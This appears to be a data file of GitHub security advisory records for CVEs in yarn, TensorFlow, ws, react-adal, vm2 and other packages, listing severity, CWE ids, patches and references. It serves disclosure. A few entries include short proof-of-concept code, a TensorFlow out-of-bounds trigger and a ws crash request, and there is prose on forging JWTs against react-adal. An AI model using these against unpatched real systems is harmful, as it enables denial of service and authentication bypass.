GHSA | GHSA-hjxc-462x-x77j | TOCTOU Race Condition in Yarn | The package integrity validation in yarn < 1.19.0 contains a TOCTOU vulnerability where the hash is computed before writing a package to cache. It's not computed again when reading from the cache. This may lead to a cache pollution attack. This issue is fixed in 1.19.0. | {'CVE-2019-15608'} | 2022-02-09T22:49:38Z | 2022-02-09T22:49:38Z | MODERATE | 5.9 | {'CWE-367'} | {'https://hackerone.com/reports/703138', 'https://github.com/yarnpkg/yarn/blob/master/CHANGELOG.md#1190', 'https://github.com/yarnpkg/yarn/commit/0474b8c66a8ea298f5e4dedc67b2de464297ad1c', 'https://nvd.nist.gov/vuln/detail/CVE-2019-15608', 'https://github.com/advisories/GHSA-hjxc-462x-x77j'} | null | {'https://github.com/yarnpkg/yarn/commit/0474b8c66a8ea298f5e4dedc67b2de464297ad1c'} | {'https://github.com/yarnpkg/yarn/commit/0474b8c66a8ea298f5e4dedc67b2de464297ad1c'} |
GHSA | GHSA-4fg4-p75j-w5xj | Heap out of bounds in `QuantizedBatchNormWithGlobalNormalization` | ### Impact
An attacker can cause a segfault and denial of service via accessing data outside of bounds in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:
```python
import tensorflow as tf
t = tf.constant([1], shape=[1, 1, 1, 1], dtype=tf.quint8)
t_min = tf.constant([], shape=[0], dtype=tf.float32)
t_max = tf.constant([], shape=[0], dtype=tf.float32)
m = tf.constant([1], shape=[1], dtype=tf.quint8)
m_min = tf.constant([], shape=[0], dtype=tf.float32)
m_max = tf.constant([], shape=[0], dtype=tf.float32)
v = tf.constant([1], shape=[1], dtype=tf.quint8)
v_min = tf.constant([], shape=[0], dtype=tf.float32)
v_max = tf.constant([], shape=[0], dtype=tf.float32)
beta = tf.constant([1], shape=[1], dtype=tf.quint8)
beta_min = tf.constant([], shape=[0], dtype=tf.float32)
beta_max = tf.constant([], shape=[0], dtype=tf.float32)
gamma = tf.constant([1], shape=[1], dtype=tf.quint8)
gamma_min = tf.constant([], shape=[0], dtype=tf.float32)
gamma_max = tf.constant([], shape=[0], dtype=tf.float32)
tf.raw_ops.QuantizedBatchNormWithGlobalNormalization(
t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,
v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,
beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,
gamma_max=gamma_max, out_type=tf.qint32,
variance_epsilon=0.1, scale_after_normalization=True)
```
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc#L176-L189) assumes the inputs are not empty:
```cc
const float input_min = context->input(1).flat<float>()(0);
const float input_max = context->input(2).flat<float>()(0);
...
const float mean_min = context->input(4).flat<float>()(0);
const float mean_max = context->input(5).flat<float>()(0);
...
const float var_min = context->input(7).flat<float>()(0);
const float var_max = context->input(8).flat<float>()(0);
...
const float beta_min = context->input(10).flat<float>()(0);
const float beta_max = context->input(11).flat<float>()(0);
...
const float gamma_min = context->input(13).flat<float>()(0);
const float gamma_max = context->input(14).flat<float>()(0);
```
If any of these inputs is empty, `.flat<T>()` is an empty buffer, so accessing the element at index 0 is accessing data outside of bounds.
### Patches
We have patched the issue in GitHub commit [d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b](https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team. | {'CVE-2021-29547'} | 2021-05-21T14:23:31Z | 2021-05-21T14:23:31Z | LOW | 2.5 | {'CWE-125'} | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4fg4-p75j-w5xj', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29547', 'https://github.com/advisories/GHSA-4fg4-p75j-w5xj', 'https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b'} | null | {'https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b'} | {'https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b'} |
GHSA | GHSA-j86v-p27c-73fm | Unitialized access in `EinsumHelper::ParseEquation` | ### Impact
During execution, [`EinsumHelper::ParseEquation()`](https://github.com/tensorflow/tensorflow/blob/e0b6e58c328059829c3eb968136f17aa72b6c876/tensorflow/core/kernels/linalg/einsum_op_impl.h#L126-L181) is supposed to set the flags in `input_has_ellipsis` vector and `*output_has_ellipsis` boolean to indicate whether there is ellipsis in the corresponding inputs and output.
However, the code only changes these flags to `true` and never assigns `false`.
```cc
for (int i = 0; i < num_inputs; ++i) {
input_label_counts->at(i).resize(num_labels);
for (const int label : input_labels->at(i)) {
if (label != kEllipsisLabel)
input_label_counts->at(i)[label] += 1;
else
input_has_ellipsis->at(i) = true;
}
}
output_label_counts->resize(num_labels);
for (const int label : *output_labels) {
if (label != kEllipsisLabel)
output_label_counts->at(label) += 1;
else
*output_has_ellipsis = true;
}
```
This results in unitialized variable access if callers assume that `EinsumHelper::ParseEquation()` always sets these flags.
### Patches
We have patched the issue in GitHub commit [f09caa532b6e1ac8d2aa61b7832c78c5b79300c6](https://github.com/tensorflow/tensorflow/commit/f09caa532b6e1ac8d2aa61b7832c78c5b79300c6).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. | {'CVE-2021-41201'} | 2021-11-10T19:17:43Z | 2021-11-10T19:17:43Z | HIGH | 7.8 | {'CWE-824'} | {'https://github.com/tensorflow/tensorflow/commit/f09caa532b6e1ac8d2aa61b7832c78c5b79300c6', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41201', 'https://github.com/advisories/GHSA-j86v-p27c-73fm', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-j86v-p27c-73fm'} | null | {'https://github.com/tensorflow/tensorflow/commit/f09caa532b6e1ac8d2aa61b7832c78c5b79300c6'} | {'https://github.com/tensorflow/tensorflow/commit/f09caa532b6e1ac8d2aa61b7832c78c5b79300c6'} |
GHSA | GHSA-22hc-47cc-7x6f | Cross-site Scripting in Pimcore | Pimcore prior to 10.4.0 is vulnerable to stored cross-site scripting. | {'CVE-2022-0894'} | 2022-03-29T21:21:30Z | 2022-03-16T00:00:48Z | MODERATE | 5.4 | {'CWE-79'} | {'https://github.com/pimcore/pimcore/pull/11447', 'https://huntr.dev/bounties/18f8e85e-3cbf-4915-b649-8cffe99daa95', 'https://github.com/pimcore/pimcore/commit/6e0922c5b2959ac1b48500ac508d8fc5a97286f9', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0894', 'https://github.com/advisories/GHSA-22hc-47cc-7x6f'} | null | {'https://github.com/pimcore/pimcore/commit/6e0922c5b2959ac1b48500ac508d8fc5a97286f9'} | {'https://github.com/pimcore/pimcore/commit/6e0922c5b2959ac1b48500ac508d8fc5a97286f9'} |
GHSA | GHSA-v6w3-2prq-h95f | Improper Input Validation in Jakarta Expression Language | In the Jakarta Expression Language implementation 3.0.3 and earlier, a bug in the ELParserTokenManager enables invalid EL expressions to be evaluated as if they were valid. | {'CVE-2021-28170'} | 2022-04-26T18:07:57Z | 2021-10-06T17:48:38Z | MODERATE | 5.3 | {'CWE-917', 'CWE-20'} | {'https://github.com/eclipse-ee4j/el-ri/pull/160/commits/b6a3943ac5fba71cbc6719f092e319caa747855b', 'https://www.oracle.com/security-alerts/cpuapr2022.html', 'https://github.com/advisories/GHSA-v6w3-2prq-h95f', 'https://nvd.nist.gov/vuln/detail/CVE-2021-28170', 'https://securitylab.github.com/advisories/GHSL-2020-021-jakarta-el/', 'https://github.com/eclipse-ee4j/el-ri/issues/155'} | null | {'https://github.com/eclipse-ee4j/el-ri/pull/160/commits/b6a3943ac5fba71cbc6719f092e319caa747855b'} | {'https://github.com/eclipse-ee4j/el-ri/pull/160/commits/b6a3943ac5fba71cbc6719f092e319caa747855b'} |
GHSA | GHSA-cfpj-3q4c-jhvr | Division by zero in TFLite | ### Impact
The implementation of fully connected layers in TFLite is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/fully_connected.cc#L226):
```cc
const int batch_size = input_size / filter->dims->data[1];
```
An attacker can craft a model such that `filter->dims->data[1]` is 0.
### Patches
We have patched the issue in GitHub commit [718721986aa137691ee23f03638867151f74935f](https://github.com/tensorflow/tensorflow/commit/718721986aa137691ee23f03638867151f74935f).
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360. Concurrently, it has also been reported by Yakun Zhang of Baidu Security. | {'CVE-2021-37680'} | 2021-08-25T14:40:38Z | 2021-08-25T14:40:38Z | MODERATE | 5.5 | {'CWE-369'} | {'https://github.com/tensorflow/tensorflow/commit/718721986aa137691ee23f03638867151f74935f', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cfpj-3q4c-jhvr', 'https://nvd.nist.gov/vuln/detail/CVE-2021-37680', 'https://github.com/advisories/GHSA-cfpj-3q4c-jhvr'} | null | {'https://github.com/tensorflow/tensorflow/commit/718721986aa137691ee23f03638867151f74935f'} | {'https://github.com/tensorflow/tensorflow/commit/718721986aa137691ee23f03638867151f74935f'} |
GHSA | GHSA-3pxh-h8hw-mj8w | Moderate severity vulnerability that affects rack | multipart/parser.rb in Rack 1.3.x before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to cause a denial of service (memory consumption and out-of-memory error) via a long string in a Multipart HTTP packet. | {'CVE-2013-0183'} | 2021-08-31T21:21:31Z | 2017-10-24T18:33:37Z | MODERATE | 0 | {'CWE-119'} | {'https://github.com/rack/rack/commit/f95113402b7239f225282806673e1b6424522b18', 'https://github.com/advisories/GHSA-3pxh-h8hw-mj8w', 'http://rhn.redhat.com/errata/RHSA-2013-0544.html', 'https://groups.google.com/forum/#!topic/rack-devel/7ZKPNAjgRSs', 'https://github.com/rack/rack/commit/548b9af2dc0059f4c0c19728624448d84de450ff', 'https://groups.google.com/forum/#!topic/rack-devel/-MWPHDeGWtI', 'https://nvd.nist.gov/vuln/detail/CVE-2013-0183', 'http://rhn.redhat.com/errata/RHSA-2013-0548.html', 'https://bugzilla.redhat.com/show_bug.cgi?id=895282', 'http://rack.github.com/', 'http://lists.opensuse.org/opensuse-updates/2013-03/msg00048.html', 'http://www.debian.org/security/2013/dsa-2783'} | null | {'https://github.com/rack/rack/commit/f95113402b7239f225282806673e1b6424522b18', 'https://github.com/rack/rack/commit/548b9af2dc0059f4c0c19728624448d84de450ff'} | {'https://github.com/rack/rack/commit/548b9af2dc0059f4c0c19728624448d84de450ff', 'https://github.com/rack/rack/commit/f95113402b7239f225282806673e1b6424522b18'} |
GHSA | GHSA-wcm2-9c89-wmfm | Cross-site Scripting in jquery-ui | Cross-site scripting (XSS) vulnerability in jquery.ui.dialog.js in the Dialog widget in jQuery UI before 1.10.0 allows remote attackers to inject arbitrary web script or HTML via the title option. | {'CVE-2010-5312'} | 2022-01-20T15:38:29Z | 2017-10-24T18:33:38Z | MODERATE | 0 | {'CWE-79'} | {'https://security.netapp.com/advisory/ntap-20190416-0007/', 'http://bugs.jqueryui.com/ticket/6016', 'https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442@%3Cdev.drill.apache.org%3E', 'https://nvd.nist.gov/vuln/detail/CVE-2010-5312', 'http://seclists.org/oss-sec/2014/q4/616', 'http://rhn.redhat.com/errata/RHSA-2015-1462.html', 'https://github.com/advisories/GHSA-wcm2-9c89-wmfm', 'https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc@%3Cissues.drill.apache.org%3E', 'http://rhn.redhat.com/errata/RHSA-2015-0442.html', 'http://www.securitytracker.com/id/1037035', 'http://seclists.org/oss-sec/2014/q4/613', 'http://www.debian.org/security/2015/dsa-3249', 'https://lists.debian.org/debian-lts-announce/2022/01/msg00014.html', 'http://www.securityfocus.com/bid/71106', 'https://exchange.xforce.ibmcloud.com/vulnerabilities/98696', 'https://www.drupal.org/sa-core-2022-002', 'https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f@%3Cdev.drill.apache.org%3E', 'http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html', 'https://github.com/jquery/jquery-ui/commit/7e9060c109b928769a664dbcc2c17bd21231b6f3'} | null | {'https://github.com/jquery/jquery-ui/commit/7e9060c109b928769a664dbcc2c17bd21231b6f3'} | {'https://github.com/jquery/jquery-ui/commit/7e9060c109b928769a664dbcc2c17bd21231b6f3'} |
GHSA | GHSA-jvf5-q4h5-2jmj | Prototype Pollution in madlib-object-utils | madlib-object-utils before 0.1.7 is vulnerable to Prototype Pollution via setValue. | {'CVE-2020-7701'} | 2021-07-29T21:55:23Z | 2021-05-06T17:28:57Z | CRITICAL | 9.8 | {'CWE-915'} | {'https://github.com/advisories/GHSA-jvf5-q4h5-2jmj', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7701', 'https://snyk.io/vuln/SNYK-JS-MADLIBOBJECTUTILS-598676', 'https://github.com/Qwerios/madlib-object-utils/commit/2a8d5be4fddfe46b69fbe25b9ebdff49a54481a8'} | null | {'https://github.com/Qwerios/madlib-object-utils/commit/2a8d5be4fddfe46b69fbe25b9ebdff49a54481a8'} | {'https://github.com/Qwerios/madlib-object-utils/commit/2a8d5be4fddfe46b69fbe25b9ebdff49a54481a8'} |
GHSA | GHSA-54hw-mhgh-x4vc | Business Logic Errors in pimcore | In pimcore versions prior to 10.2.9 discounts could be negative resulting in unintended behavior. | {'CVE-2021-4146'} | 2022-01-26T22:09:49Z | 2022-01-26T22:09:49Z | MODERATE | 4.3 | null | {'https://github.com/advisories/GHSA-54hw-mhgh-x4vc', 'https://github.com/pimcore/pimcore/issues/11024', 'https://github.com/pimcore/pimcore/pull/11206', 'https://nvd.nist.gov/vuln/detail/CVE-2021-4146', 'https://huntr.dev/bounties/47b37054-cafe-4f48-8b40-c86efc7fb760', 'https://github.com/pimcore/pimcore/commit/7011922f7f0f97a82d8c378559b91fcdb34604a6'} | null | {'https://github.com/pimcore/pimcore/commit/7011922f7f0f97a82d8c378559b91fcdb34604a6'} | {'https://github.com/pimcore/pimcore/commit/7011922f7f0f97a82d8c378559b91fcdb34604a6'} |
GHSA | GHSA-5v72-xg48-5rpm | Denial of Service in ws | Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.
## Proof of concept
```
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
```
## Recommendation
Update to version 3.3.1 or later. | null | 2021-08-04T21:29:06Z | 2019-06-04T19:37:52Z | HIGH | 7.5 | {'CWE-400'} | {'https://www.npmjs.com/advisories/550/versions', 'https://github.com/advisories/GHSA-5v72-xg48-5rpm', 'https://www.npmjs.com/advisories/550', 'https://nodesecurity.io/advisories/550', 'https://snyk.io/vuln/npm:ws:20171108', 'https://github.com/websockets/ws/commit/c4fe46608acd61fbf7397eadc47378903f95b78a'} | null | {'https://github.com/websockets/ws/commit/c4fe46608acd61fbf7397eadc47378903f95b78a'} | {'https://github.com/websockets/ws/commit/c4fe46608acd61fbf7397eadc47378903f95b78a'} |
GHSA | GHSA-7mpx-vg3c-cmr4 | Improper Authentication in react-adal | This affects versions of react-adal < 0.5.1. It is possible for a specially crafted JWT token and request URL can cause the nonce, session and refresh values to be incorrectly validated, causing the application to treat an attacker-generated JWT token as authentic. The logical defect is caused by how the nonce, session and refresh values are stored in the browser local storage or session storage. Each key is automatically appended by ||. When the received nonce and session keys are generated, the list of values is stored in the browser storage, separated by ||, with || always appended to the end of the list. Since || will always be the last 2 characters of the stored values, an empty string ("") will always be in the list of the valid values. Therefore, if an empty session parameter is provided in the callback URL, and a specially-crafted JWT token contains an nonce value of "" (empty string), then adal.js will consider the JWT token as authentic. | {'CVE-2020-7787'} | 2021-04-13T15:22:37Z | 2021-04-13T15:22:37Z | HIGH | 8.2 | {'CWE-287'} | {'https://github.com/salvoravida/react-adal/commit/74158dba1647b12fe96fa401e306a6287fe9e2a9', 'https://github.com/salvoravida/react-adal/pull/115', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7787', 'https://github.com/advisories/GHSA-7mpx-vg3c-cmr4', 'https://snyk.io/vuln/SNYK-JS-REACTADAL-1018907'} | null | {'https://github.com/salvoravida/react-adal/commit/74158dba1647b12fe96fa401e306a6287fe9e2a9'} | {'https://github.com/salvoravida/react-adal/commit/74158dba1647b12fe96fa401e306a6287fe9e2a9'} |
GHSA | GHSA-25xm-hr59-7c27 | Release v0.5.8 of github.com/ulikunitz/xz fixes readUvarint denial of service | ### Impact
The function readUvarint used to read the xz container format may not terminate a loop provide malicous input.
### Patches
The problem has been fixed in release v0.5.8.
### Workarounds
Limit the size of the compressed file input to a reasonable size for your use case.
### References
The standard library had recently the same issue and got the [CVE-2020-16845](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-16845) allocated.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [xz](https://github.com/ulikunitz/xz/issues). | {'CVE-2021-29482'} | 2022-04-19T19:02:33Z | 2021-05-25T18:39:37Z | HIGH | 7.5 | {'CWE-835'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-29482', 'https://github.com/advisories/GHSA-25xm-hr59-7c27', 'https://github.com/ulikunitz/xz/commit/69c6093c7b2397b923acf82cb378f55ab2652b9b', 'https://github.com/ulikunitz/xz/security/advisories/GHSA-25xm-hr59-7c27'} | null | {'https://github.com/ulikunitz/xz/commit/69c6093c7b2397b923acf82cb378f55ab2652b9b'} | {'https://github.com/ulikunitz/xz/commit/69c6093c7b2397b923acf82cb378f55ab2652b9b'} |
GHSA | GHSA-vx8v-g3p3-88vg | Weak password hash in LiveHelperChat | The secrethash, which the application relies for multiple security measures, can be brute-forced. The hash is quite small, with only 10 characters of only hexadecimal, making 16^10 possilibities ( 1.099.511.627.776 ). The SHA1 of the secret can be obtained via a captcha string and brute-forced offline with an GPU. | {'CVE-2022-1235'} | 2022-04-19T18:01:54Z | 2022-04-06T00:01:31Z | HIGH | 7.5 | {'CWE-916'} | {'https://github.com/advisories/GHSA-vx8v-g3p3-88vg', 'https://github.com/livehelperchat/livehelperchat/commit/6538d6df3d8a60fee254170b08dd76a161f7bfdc', 'https://nvd.nist.gov/vuln/detail/CVE-2022-1235', 'https://huntr.dev/bounties/92f7b2d4-fa88-4c62-a2ee-721eebe01705'} | null | {'https://github.com/livehelperchat/livehelperchat/commit/6538d6df3d8a60fee254170b08dd76a161f7bfdc'} | {'https://github.com/livehelperchat/livehelperchat/commit/6538d6df3d8a60fee254170b08dd76a161f7bfdc'} |
GHSA | GHSA-25xj-89g5-fm6h | Information Disclosure in HashiCorp Vault | HashiCorp Vault and Vault Enterprise before 1.3.6, and 1.4.2 before 1.4.2, insert Sensitive Information into a Log File. | {'CVE-2020-13223'} | 2022-02-24T13:07:51Z | 2021-05-18T18:21:09Z | HIGH | 7.5 | {'CWE-200', 'CWE-532'} | {'https://www.hashicorp.com/blog/category/vault/', 'https://github.com/hashicorp/vault/commit/e52f34772affb69f3239b2cdf6523cb7cfd67a92', 'https://github.com/hashicorp/vault/commit/87f47c216cf1a28f4054b80cff40de8c9e00e36c', 'https://nvd.nist.gov/vuln/detail/CVE-2020-13223', 'https://github.com/advisories/GHSA-25xj-89g5-fm6h', 'https://github.com/hashicorp/vault/blob/master/CHANGELOG.md#142-may-21st-2020'} | null | {'https://github.com/hashicorp/vault/commit/87f47c216cf1a28f4054b80cff40de8c9e00e36c', 'https://github.com/hashicorp/vault/commit/e52f34772affb69f3239b2cdf6523cb7cfd67a92'} | {'https://github.com/hashicorp/vault/commit/87f47c216cf1a28f4054b80cff40de8c9e00e36c', 'https://github.com/hashicorp/vault/commit/e52f34772affb69f3239b2cdf6523cb7cfd67a92'} |
GHSA | GHSA-mg5h-9rhq-4cqx | Cross-site Scripting in ShowDoc | ShowDoc is vulnerable to stored cross-site scripting through file upload in versions 2.10.3 and prior. A patch is available and anticipated to be part of version 2.10.4. | {'CVE-2022-0937'} | 2022-03-23T15:40:21Z | 2022-03-15T00:01:02Z | MODERATE | 5.4 | {'CWE-79'} | {'https://huntr.dev/bounties/6127739d-f4f2-44cd-ae3d-e3ccb7f0d7b5', 'https://github.com/star7th/showdoc/commit/42c0d9813df3035728b36116a6ce9116e6fa8ed3', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0937', 'https://github.com/advisories/GHSA-mg5h-9rhq-4cqx'} | null | {'https://github.com/star7th/showdoc/commit/42c0d9813df3035728b36116a6ce9116e6fa8ed3'} | {'https://github.com/star7th/showdoc/commit/42c0d9813df3035728b36116a6ce9116e6fa8ed3'} |
GHSA | GHSA-7vrm-3jc8-5wwm | Incorrect Comparison in Vyper | ### Impact
bytestrings can have dirty bytes in them, resulting in the word-for-word comparison to give incorrect results, e.g.
```vyper
b1: Bytes[32] = b"abcdef"
b1 = slice(b1, 0, 1)
b2: Bytes[32] = b"abcdef"
t: bool = b1 == b2 # incorrectly evaluates to True
```
even without dirty nonzero bytes, because there is no comparison of the length, two bytestrings can compare to equal if one ends with `"\x00"`.
```vyper
b1: Bytes[32] = b"abc\0"
b2: Bytes[32] = b"abc"
t: bool = b1 == b2 # incorrectly evaluates to True
```
### Patches
fixed in https://github.com/vyperlang/vyper/commit/2c73f8352635c0a433423a5b94740de1a118e508 | null | 2022-04-06T17:39:51Z | 2022-04-04T21:40:45Z | HIGH | 7.5 | {'CWE-697'} | {'https://github.com/vyperlang/vyper/commit/2c73f8352635c0a433423a5b94740de1a118e508', 'https://github.com/advisories/GHSA-7vrm-3jc8-5wwm', 'https://github.com/vyperlang/vyper/security/advisories/GHSA-7vrm-3jc8-5wwm'} | null | {'https://github.com/vyperlang/vyper/commit/2c73f8352635c0a433423a5b94740de1a118e508'} | {'https://github.com/vyperlang/vyper/commit/2c73f8352635c0a433423a5b94740de1a118e508'} |
GHSA | GHSA-j8qh-3xrq-c825 | Division by zero in TFLite's implementation of `OneHot` | ### Impact
The implementation of the `OneHot` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/f61c57bd425878be108ec787f4d96390579fb83e/tensorflow/lite/kernels/one_hot.cc#L68-L72):
```cc
int prefix_dim_size = 1;
for (int i = 0; i < op_context.axis; ++i) {
prefix_dim_size *= op_context.indices->dims->data[i];
}
const int suffix_dim_size = NumElements(op_context.indices) / prefix_dim_size;
```
An attacker can craft a model such that at least one of the dimensions of `indices` would be 0. In turn, the `prefix_dim_size` value would become 0.
### Patches
We have patched the issue in GitHub commit [3ebedd7e345453d68e279cfc3e4072648e5e12e5](https://github.com/tensorflow/tensorflow/commit/3ebedd7e345453d68e279cfc3e4072648e5e12e5).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360. | {'CVE-2021-29600'} | 2021-05-21T14:28:04Z | 2021-05-21T14:28:04Z | LOW | 2.5 | {'CWE-369'} | {'https://github.com/advisories/GHSA-j8qh-3xrq-c825', 'https://github.com/tensorflow/tensorflow/commit/3ebedd7e345453d68e279cfc3e4072648e5e12e5', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-j8qh-3xrq-c825', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29600'} | null | {'https://github.com/tensorflow/tensorflow/commit/3ebedd7e345453d68e279cfc3e4072648e5e12e5'} | {'https://github.com/tensorflow/tensorflow/commit/3ebedd7e345453d68e279cfc3e4072648e5e12e5'} |
GHSA | GHSA-3mqv-8gxg-pfm4 | Cross-site scripting in twitter-server | server/handler/HistogramQueryHandler.scala in Twitter TwitterServer (aka twitter-server) before 20.12.0, in some configurations, allows XSS via the /histograms endpoint. | {'CVE-2020-35774'} | 2022-02-09T22:37:28Z | 2022-02-09T22:37:28Z | MODERATE | 6.1 | {'CWE-79'} | {'https://advisory.checkmarx.net/advisory/CX-2020-4287', 'https://github.com/twitter/twitter-server/commit/e0aeb87e89a6e6c711214ee2de0dd9f6e5f9cb6c', 'https://github.com/twitter/twitter-server/compare/twitter-server-20.10.0...twitter-server-20.12.0', 'https://github.com/advisories/GHSA-3mqv-8gxg-pfm4', 'https://nvd.nist.gov/vuln/detail/CVE-2020-35774'} | null | {'https://github.com/twitter/twitter-server/commit/e0aeb87e89a6e6c711214ee2de0dd9f6e5f9cb6c'} | {'https://github.com/twitter/twitter-server/commit/e0aeb87e89a6e6c711214ee2de0dd9f6e5f9cb6c'} |
GHSA | GHSA-7rpc-9m88-cf9w | OS Command Injection Vulnerability and Potential Zip Slip Vulnerability in baserCMS | There is an OS Command Injection Vulnerability on the management system of baserCMS.
This is a vulnerability that needs to be addressed when the management system is used by an unspecified number of users.
If you are eligible, please update to the new version as soon as possible.
Target
baserCMS 4.5.3 and earlier versions
Vulnerability
OS Command Injection Vulnerability.
Countermeasures
Update to the latest version of baserCMS
Credits
Akagi Yusuke @NTT-ME | {'CVE-2021-41243'} | 2021-12-01T18:29:42Z | 2021-12-01T18:29:42Z | CRITICAL | 9.1 | {'CWE-78'} | {'https://github.com/baserproject/basercms/security/advisories/GHSA-7rpc-9m88-cf9w', 'https://github.com/advisories/GHSA-7rpc-9m88-cf9w', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41243', 'https://github.com/baserproject/basercms/commit/9088b99c329d1faff3a2f1269f37b9a9d8d5f6ff'} | null | {'https://github.com/baserproject/basercms/commit/9088b99c329d1faff3a2f1269f37b9a9d8d5f6ff'} | {'https://github.com/baserproject/basercms/commit/9088b99c329d1faff3a2f1269f37b9a9d8d5f6ff'} |
GHSA | GHSA-6pw2-5hjv-9pf7 | Sandbox bypass in vm2 | The package vm2 before 3.9.6 are vulnerable to Sandbox Bypass via direct access to host error objects generated by node internals during generation of a stacktraces, which can lead to execution of arbitrary code on the host machine. | {'CVE-2021-23555'} | 2022-02-24T13:46:57Z | 2022-02-12T00:00:38Z | CRITICAL | 9.8 | {'CWE-1321', 'CWE-1265'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-23555', 'https://snyk.io/vuln/SNYK-JS-VM2-2309905', 'https://github.com/advisories/GHSA-6pw2-5hjv-9pf7', 'https://github.com/patriksimek/vm2/commit/532120d5cdec7da8225fc6242e154ebabc63fe4d'} | null | {'https://github.com/patriksimek/vm2/commit/532120d5cdec7da8225fc6242e154ebabc63fe4d'} | {'https://github.com/patriksimek/vm2/commit/532120d5cdec7da8225fc6242e154ebabc63fe4d'} |
GHSA | GHSA-24wf-7vf2-pv59 | XXE vulnerability on Launch import with externally-defined DTD file | ### Impact
Starting from version 3.1.0 we introduced a new feature of JUnit XML launch import. Unfortunately XML parser was not configured properly to prevent XML external entity (XXE) attacks. This allows a user to import a specifically-crafted XML file which imports external Document Type Definition (DTD) file with external entities for extraction of secrets from Report Portal service-api module or server-side request forgery.
### Patches
Fixed with: https://github.com/reportportal/service-api/pull/1392
### Binaries
`docker pull reportportal/service-api:5.4.0`
https://github.com/reportportal/service-api/packages/846871?version=5.4.0
### For more information
If you have any questions or comments about this advisory email us: [support@reportportal.io](mailto:support@reportportal.io)
| {'CVE-2021-29620'} | 2021-06-28T16:38:29Z | 2021-06-28T16:38:29Z | HIGH | 7.5 | {'CWE-611'} | {'https://github.com/reportportal/reportportal/security/advisories/GHSA-24wf-7vf2-pv59', 'https://github.com/reportportal/service-api/pull/1392', 'https://mvnrepository.com/artifact/com.epam.reportportal/service-api', 'https://github.com/advisories/GHSA-24wf-7vf2-pv59', 'https://github.com/reportportal/service-api/commit/a73e0dfb4eda844c37139df1f9847013d55f084e', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29620'} | null | {'https://github.com/reportportal/service-api/commit/a73e0dfb4eda844c37139df1f9847013d55f084e'} | {'https://github.com/reportportal/service-api/commit/a73e0dfb4eda844c37139df1f9847013d55f084e'} |
